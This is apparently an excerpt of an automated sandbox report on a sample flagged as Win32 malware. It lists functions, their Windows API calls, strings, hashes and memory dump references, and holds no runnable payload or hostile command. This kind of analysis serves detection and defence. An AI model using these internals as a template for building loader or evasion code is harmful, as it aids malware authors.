Instruction ID: 2c19a8e1f6d0b44433a35fe052dd74ce0a3cb8742105c6d731d9a36eab5080ea
Opcode Fuzzy Hash: d30b9a3c16bb8d7877d4fd8f0e9ed5d9b3b38e2fa94c7baa623fce4a30c0ef67
Instruction Fuzzy Hash: 4AF0A5B2535280DEC351CF2B8C4D7093FE0BB29304B26462BE188EA260E3744469DB95

Function 0040638E Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,0040641C,?,?,?,?,Call,?,00000000), ref: 004063B2

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction ID: 99177681843bc7d8b33aa39255ce29306f0e35401c43de39655aaedf71f86506
Opcode Fuzzy Hash: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction Fuzzy Hash: DAD0173204020DBBDF119E90ED01FAB3B6DAB08350F014826FE06A40A0D776D534ABA8

Function 004015A8 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015B3

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 58434a7e7cdfb0d0f19199f5504f69f984a7681d240ae9cdceb23cdc370956f4
Instruction ID: f79479eb79e616cc8aec51f56aa6edc525cb8d4391243906608abe1f76efb7bb
Opcode Fuzzy Hash: 58434a7e7cdfb0d0f19199f5504f69f984a7681d240ae9cdceb23cdc370956f4
Instruction Fuzzy Hash: 3DD05B72B08204DBDB01DBE8EA48A9E73B09B50328F20893BD111F11D0D6B9C945A75D

Function 004044A0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetDlgItemTextW.USER32(?,?,00000000), ref: 004044BA

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 9f5f9317995870dd68fcf34551989b3f9c33a874f6e62bdf9e4bbf2fb329bfe5
Instruction ID: ae2ead1ac10e0797e36fe1c05e7dcabccdaa2022beaf041c85de5a3ae6598913
Opcode Fuzzy Hash: 9f5f9317995870dd68fcf34551989b3f9c33a874f6e62bdf9e4bbf2fb329bfe5
Instruction Fuzzy Hash: C9C08C71008200BFD241BB08CC02F1FB3AAEF90325F00C42EB15CA10D2C63595308A26

Function 004044EC Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044FE

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c543a5305144ba01004fe0d35289a86565b01ad173ebec7ef44f324a9b2ac024
Instruction ID: 5c877ab33ec7e7ab303c696e8a99d36134f19a60efc45403e0926baa73fdbb46
Opcode Fuzzy Hash: c543a5305144ba01004fe0d35289a86565b01ad173ebec7ef44f324a9b2ac024
Instruction Fuzzy Hash: 9AC09BF57413017BDA209F509D45F1777585790710F15453D7350F50E0CBB4E450D61D

Function 004044D5 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,?,00404300), ref: 004044E3

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0b5dc737e690c2697fce459c5807109f7a0ee7b6821d5e504b87bae23edcb368
Instruction ID: a1e91a2b22b377b77c28deac9acb262fc7b3ebada01c3a2f9bc193e64980b6bc
Opcode Fuzzy Hash: 0b5dc737e690c2697fce459c5807109f7a0ee7b6821d5e504b87bae23edcb368
Instruction Fuzzy Hash: E9B09236690A40AADA215B00DE09F867B62A7A8701F008438B240640B0CAB204A1DB08

Function 004034B4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403247,?), ref: 004034C2

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Function 004044C2 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00404299), ref: 004044CC

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1338f86397f00e2d38996c3f1ae94053e56d426343b35a23e1e428530b57d47f
Instruction ID: bf70c606a766814dc6d2ff6c1013b69bc1ca18b78975ad7518874070628387b3
Opcode Fuzzy Hash: 1338f86397f00e2d38996c3f1ae94053e56d426343b35a23e1e428530b57d47f
Instruction Fuzzy Hash: BEA00176544900ABCA16AB50EF0980ABB72BBA8701B528879A285510388B725921FB19

Function 70592B98 Relevance: 1.4, APIs: 1, Instructions: 143memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 70592C57

Memory Dump Source

Source File: 00000000.00000002.72590322272.0000000070591000.00000020.00000001.01000000.00000004.sdmp, Offset: 70590000, based on PE: true

Associated: 00000000.00000002.72590238197.0000000070590000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590417653.0000000070594000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590494752.0000000070596000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70590000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 84c9f0e6a67956cfa789d798b7291a165af4703e67c533edbd0c1d539944a360
Instruction ID: 15166a04c766115a8265f1d742708146abd2e789e2a74ffec48e6a1950a3b14a
Opcode Fuzzy Hash: 84c9f0e6a67956cfa789d798b7291a165af4703e67c533edbd0c1d539944a360
Instruction Fuzzy Hash: AD41A273520204EFDB11DF66DD4EB4D3BB5EB94314F328827E505D6120D638A8A18B99

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5065bf49ec89ca03d4d81e0e626b625f4b0a8bbe3ca9100aab93803b3529547f
Instruction ID: a775f6773ee6fca20605c15f6de2f930d7ecc582f877687dc3caa15317c5c1fc
Opcode Fuzzy Hash: 5065bf49ec89ca03d4d81e0e626b625f4b0a8bbe3ca9100aab93803b3529547f
Instruction Fuzzy Hash: 8ED05E73A142008BD710EBB8BE854AF73B8EA403193204C3BD102E1191E6788902461C

Function 705912BB Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,705912DB,?,7059137F,00000019,705911CA,-000000A0), ref: 705912C5

Memory Dump Source

Source File: 00000000.00000002.72590322272.0000000070591000.00000020.00000001.01000000.00000004.sdmp, Offset: 70590000, based on PE: true

Associated: 00000000.00000002.72590238197.0000000070590000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590417653.0000000070594000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590494752.0000000070596000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70590000_SecuriteInfo.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 8b400839033e0eacd90376acb2bfbb9ed8fc756249a85de7d36a134a6411a83c
Instruction ID: 1977803c7846eb972a25bdd45f74221532b39b6d407b055fe7c3a8374b061861
Opcode Fuzzy Hash: 8b400839033e0eacd90376acb2bfbb9ed8fc756249a85de7d36a134a6411a83c
Instruction Fuzzy Hash: 44B012726100009FEE008B16DC0EF343354F710304F250001B700E5050D2604C24CA24

Non-executed Functions

Function 00404991 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004049E0
SetWindowTextW.USER32(00000000,?), ref: 00404A0A
SHBrowseForFolderW.SHELL32(?), ref: 00404ABB
CoTaskMemFree.OLE32(00000000), ref: 00404AC6
lstrcmpiW.KERNEL32(Call,00422F08,00000000,?,?), ref: 00404AF8
lstrcatW.KERNEL32(?,Call), ref: 00404B04
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B16

Part of subcall function 00405B65: GetDlgItemTextW.USER32(?,?,00000400,00404B4D), ref: 00405B78

Part of subcall function 004067CF: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe",76343420,C:\Users\user\AppData\Local\Temp\,00000000,004034D7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037E6,?,00000008,0000000A,0000000C), ref: 00406832
Part of subcall function 004067CF: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406841
Part of subcall function 004067CF: CharNextW.USER32(?,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe",76343420,C:\Users\user\AppData\Local\Temp\,00000000,004034D7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037E6,?,00000008,0000000A,0000000C), ref: 00406846
Part of subcall function 004067CF: CharPrevW.USER32(?,?,76343420,C:\Users\user\AppData\Local\Temp\,00000000,004034D7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037E6,?,00000008,0000000A,0000000C), ref: 00406859

GetDiskFreeSpaceW.KERNEL32(00420ED8,?,?,0000040F,?,00420ED8,00420ED8,?,?,00420ED8,?,?,000003FB,?), ref: 00404BD9
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404BF4

Part of subcall function 00404D4D: lstrlenW.KERNEL32(00422F08,00422F08,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DEE
Part of subcall function 00404D4D: wsprintfW.USER32 ref: 00404DF7
Part of subcall function 00404D4D: SetDlgItemTextW.USER32(?,00422F08), ref: 00404E0A

Strings

C:\Users\user\polaritets, xrefs: 00404AE1
A, xrefs: 00404AB4
Call, xrefs: 00404AF2, 00404AF7, 00404B02

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\polaritets$Call
API String ID: 2624150263-2269717157
Opcode ID: 2c04f043fab078114f436bc2b0f460e04cb31fe4a389aa85165ae8fc382e2e95
Instruction ID: 030197d704291a410dcd06cfc4277a043b64cd4f667f0077e3e502e998d69d3f
Opcode Fuzzy Hash: 2c04f043fab078114f436bc2b0f460e04cb31fe4a389aa85165ae8fc382e2e95
Instruction Fuzzy Hash: CBA1A0B1900208ABDB11AFA5DD45AAF77B8EF84314F11803BF611B62D1D77C9A418B6D

Function 70591BFF Relevance: 20.1, APIs: 13, Instructions: 597stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 705912BB: GlobalAlloc.KERNELBASE(00000040,?,705912DB,?,7059137F,00000019,705911CA,-000000A0), ref: 705912C5

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 70591D2D
lstrcpyW.KERNEL32(00000008,?), ref: 70591D75
lstrcpyW.KERNEL32(00000808,?), ref: 70591D7F
GlobalFree.KERNEL32(00000000), ref: 70591D92
GlobalFree.KERNEL32(?), ref: 70591E74
GlobalFree.KERNEL32(?), ref: 70591E79
GlobalFree.KERNEL32(?), ref: 70591E7E
GlobalFree.KERNEL32(00000000), ref: 70592068
lstrcpyW.KERNEL32(?,?), ref: 70592222
GetModuleHandleW.KERNEL32(00000008), ref: 705922A1
LoadLibraryW.KERNEL32(00000008), ref: 705922B2
GetProcAddress.KERNEL32(?,?), ref: 7059230C
lstrlenW.KERNEL32(00000808), ref: 70592326

Memory Dump Source

Source File: 00000000.00000002.72590322272.0000000070591000.00000020.00000001.01000000.00000004.sdmp, Offset: 70590000, based on PE: true

Associated: 00000000.00000002.72590238197.0000000070590000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590417653.0000000070594000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590494752.0000000070596000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70590000_SecuriteInfo.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 3abef10b389d20a8a981dd4adc37c8a859be543553b77a4c7a742187bdb7cfdd
Instruction ID: 305f9b7bc9ecb5f5f70fe0a14d530df7961e64b8f3598fb77444dbc806fdd2b4
Opcode Fuzzy Hash: 3abef10b389d20a8a981dd4adc37c8a859be543553b77a4c7a742187bdb7cfdd
Instruction Fuzzy Hash: 6522CD71D2421ADECB11DFA4C9846EEBFB8FB04305F21492ED1A7E6280D7749A81DB5C

Function 004021AF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084DC,?,?,004084CC,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040222E

Strings

C:\Users\user\polaritets, xrefs: 0040226E

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\polaritets
API String ID: 542301482-1397053051
Opcode ID: 18b8905a52bb68317a5b1bf06e2d786d8dd953d3db2333650e4a3939e0f89523
Instruction ID: 8307c529eb9feefa1617cd4f78f27985085e4fae61a1ffd37fb0b3adda41be3b
Opcode Fuzzy Hash: 18b8905a52bb68317a5b1bf06e2d786d8dd953d3db2333650e4a3939e0f89523
Instruction Fuzzy Hash: 00410575A00209AFCB40DFE4C989EAD7BB5FF48308B20456EF505EB2D1DB799982CB54

Function 00402910 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291F

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6ffcda492f923abc76daec6159b81a3f5593eca79e3a3c3abc80d0637868bc28
Instruction ID: a06f58704ac02dcae893024ea8a23b5ac4ca5f5a8623c8e138aed3c50dac2e18
Opcode Fuzzy Hash: 6ffcda492f923abc76daec6159b81a3f5593eca79e3a3c3abc80d0637868bc28
Instruction Fuzzy Hash: 44F05E71A04104AAD711EBE4E9499AEB378EF14314F60057BE101F21D0DBB84D019B2A

Function 00404F0D Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F25
GetDlgItem.USER32(?,00000408), ref: 00404F30
GlobalAlloc.KERNEL32(00000040,?), ref: 00404F7A
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404F91
SetWindowLongW.USER32(?,000000FC,0040551A), ref: 00404FAA
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FBE
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404FD0
SendMessageW.USER32(?,00001109,00000002), ref: 00404FE6
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404FF2
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00405004
DeleteObject.GDI32(00000000), ref: 00405007
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405032
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 0040503E
SendMessageW.USER32(?,00001132,00000000,?), ref: 004050D9
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405109

Part of subcall function 004044D5: SendMessageW.USER32(00000028,?,?,00404300), ref: 004044E3

SendMessageW.USER32(?,00001132,00000000,?), ref: 0040511D
GetWindowLongW.USER32(?,000000F0), ref: 0040514B
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00405159
ShowWindow.USER32(?,00000005), ref: 00405169
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405264
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052C9
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052DE
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405302
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405322
ImageList_Destroy.COMCTL32(?), ref: 00405337
GlobalFree.KERNEL32(?), ref: 00405347
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053C0
SendMessageW.USER32(?,00001102,?,?), ref: 00405469
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405478
InvalidateRect.USER32(?,00000000,?), ref: 004054A3
ShowWindow.USER32(?,00000000), ref: 004054F1
GetDlgItem.USER32(?,000003FE), ref: 004054FC
ShowWindow.USER32(00000000), ref: 00405503

Strings

M, xrefs: 004050C1
N, xrefs: 004051A2
, xrefs: 004054DB

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

